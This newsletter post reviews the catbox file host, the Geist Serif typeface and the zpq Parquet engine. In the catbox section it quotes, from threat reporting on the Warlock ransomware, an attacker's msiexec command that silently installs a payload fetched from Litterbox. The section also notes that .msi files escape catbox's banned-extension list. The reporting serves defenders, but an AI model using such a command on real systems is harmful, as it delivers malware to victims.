Drop #790 (2026-11-02): Monday Morning Grab Bag catbox; Geist ...

2026-11-03T03:13:47Z

Drop #790 (2026-11-02): Monday Morning Grab Bag

catbox; Geist Serif; zpq
With each passing week, the quest for resources that have no AI residue becomes increasingly difficult, but I managed to find a healthy and diverse mix for today’s grab-bag edition. I also decided to inject a bit of cyber into the first topic since most readers likely do not think how attackers might abuse a tool or site for their own evil designs.
Subscribe
catbox
catbox (catbox.moe) is a free file-hosting service run by Catbox LLC that lets anyone upload a file and get a direct link without creating an account. Uploads up to 200 MB are accepted, and the FAQ is pretty explicit about retention: anonymously uploaded files are kept until they have two years of inactivity, while files tied to a user account are permanent. Files are stored as a 1-to-1 copy, meaning Catbox does not compress images, strip EXIF data, or otherwise modify what you upload. For shorter-lived shares, the same operator runs Litterbox, a temporary storage service that accepts files up to 1 GB and expires them after a set period.
You do have to follow some rules to use the service. The FAQ bans specific file types, including .exe, .scr, .cpl, .doc*, and .jar, along with malware, child sexual abuse material (CSAM), and heavy gore. It also prohibits commercial hotlinking without prior approval. On the privacy side, the operator stores your IP address with your account, wipes normal access logs monthly, and handles DMCA claims at their sole discretion. A few DNS providers, including Verizon and Quad9, block the domain outright, which is why the FAQ recommends switching to a public DNS resolver if you are wont to use the service or are given a catbox URL from a mate.
Popular file hosts like this are dual-use infrastructure, and — as one might expect — that means threat actors also use them (which is why VZ and Quad9 block it). In its reporting on the Warlock ransomware, Symantec’s Threat Hunter Team describes how the China-nexus group Longlegs (I apologize on behalf of my industry on these daft threat actor names), also tracked as Storm-2603, downloads follow-on payloads from legitimate file-sharing services such as catbox.moe and wasabisys.com so its traffic blends in with normal activity. Warlock emerged in June 2025 and gained prominence by exploiting Microsoft SharePoint “ToolShell” vulnerabilities; in the two months covered by the report, Longlegs hit at least four organizations in Portuguese- and Spanish-speaking countries, including a water utility and a telecommunications provider, a regional government body, and a university.
Symantec observed the group running msiexec against a payload hosted on Litterbox, for example msiexec.exe /q /i "https://litter.catbox.moe/6f5tdt.msi";, and lists litter.catbox.moe as a network indicator of compromise (IoC). Catbox’s banned-extension list covers executables but, oddly enough, not .msi installer files, and Litterbox’s short retention window is convenient for hosting payloads that only need to live long enough to infect a target before disappearing.
Still, this is a legitimate service that may come in handy if you do need to get some files to some other folks. I would not share unencrypted sensitive information over this channel since you have no idea what the operator is doing with the bits you drop into their care.
Geist Serif
Vercel recently announced the release of Geist Serif (GH) , the fourth member of its Geist typeface family. Geist began as a monospace face for developer terminals, then expanded into Geist Sans for product interfaces and Geist Pixel, which drew on the grids of early computer screens. Geist Serif is a high-contrast display serif with fine, saw-toothed serifs and sharp hairlines, built on the same foundations as the rest of the family and drawn to work both in print and on high-density modern screens.
Each Geist family member reads as a chapter of type history — Swiss design for Sans, terminal and DOS computing for Mono and Pixel, and now editorial print for Serif. Evil Rabbit sketched the first letters and Andrés Briganti expanded them, but Mark Davis of WORDMARK carried the drawings to release. The first version ships as a display face only, with every downstroke thinned by 50% and sidebearings tightened to push contrast as far as modern displays allow.
It drops into existing Geist layouts without reflow. Geist Serif matches Geist Sans on cap height and x-height (710 and 530 at 1000 UPM), and the stems, widths, and postures are shared, so mixing Sans, Mono, Pixel, and Serif in one sentence keeps every word visually the same size. Like Geist Pixel, it also ships a variable axis called Element Shape (ELSH) that swaps the shape of every dot, giving four variants: Regular with round dots, Square, Triangle (a nod to the Vercel logo), and Heart.
Geist Serif is also a good example of how fonts are “living creatures”, as this typeface grew from 227 glyphs in July to 894 at release, with the first prototype shared on April 1, 2026 (tbh, that’s an odd day to release anything).
To use it, install the same package as the rest of the family with npm i geist and import a specific variant, such as GeistSerifRegular from geist/font/serif/regular, or grab the files and test every stylistic set at vercel.com/font. Make sure to check the roadmap as they will be updating the variable font to eventually cover the range from Thin (100) to Black (900). It should also land on Google Fonts fairly soon.
zpq
zpq (GH) is a native Parquet engine written in Zig that just had a fairly substantial release. Joshua Buss started the project after trying to run DuckDB in AWS Lambda and concluding that DuckDB is far more engine than typical S3-side Parquet work needs (think trimming a 120-column AWS cost and usage report (CUR) file down to the 25 columns you care about on 5-10% of rows, or hunting one needle across 250 files without spinning up a distributed cluster to perform the operations). He designed and built zpq around one specific guiding question: how little work really needs to be done to read and write Parquet while doing it correctly?
The tool is designed to do all the work itself vs. believe Parquet file metadata (though, you can use --trust-stats if you are 100% certain the metadata is accurate). So, for correctness, DECIMAL stays in scaled 128-bit integers instead of drifting through floating point, integer arithmetic fails on overflow instead of wrapping, and float comparisons use a single total order so NaN cannot silently vanish depending on which code path touched it. Since this tool is meant for production use by capable data engineers, there are millions of test runs for each build that also cover operating over deliberately corrupt Parquet files.
Because zpq has no general-purpose SQL engine underneath it, the page decoder, filter evaluator, late materialization, dictionary Bloom filters, and aggregators all work in a single pass (so it has both speed as well as correctness). The tool handily beats DuckDB 2.0, Polars 2.0, and Hardwood (a Java-based Parquet tool) on virtually all benchmarks.
It ships as one static binary via Homebrew, .deb/.rpm packages, or tarballs for x86_64, arm64, and macOS, and building needs only Zig 0.17.0+. For use in your own apps, there is libzpq, a C ABI with a zero-dependency Python bindings.
This is one tool to keep an eye on and should absolutely be in your toolbox if you work with Parquet files.
FIN
Remember, you can follow and interact with the full text of The Daily Drop’s free posts on:
Mastodon via @dailydrop.hrbrmstr.dev@dailydrop.hrbrmstr.dev
Bluesky via <https://bsky.app/profile/dailydrop.hrbrmstr.dev.web.brid.gy>;

https://dailydrop.hrbrmstr.dev/2026/11/02/drop-790-2026-11-02-monday-morning-grab-bag/

#rss #feeds #linksharing #qwibbit

Nostr notes by hrbrmstr (Unofficial)

Drop #790 (2026-11-02): Monday Morning Grab Bag catbox; Geist ...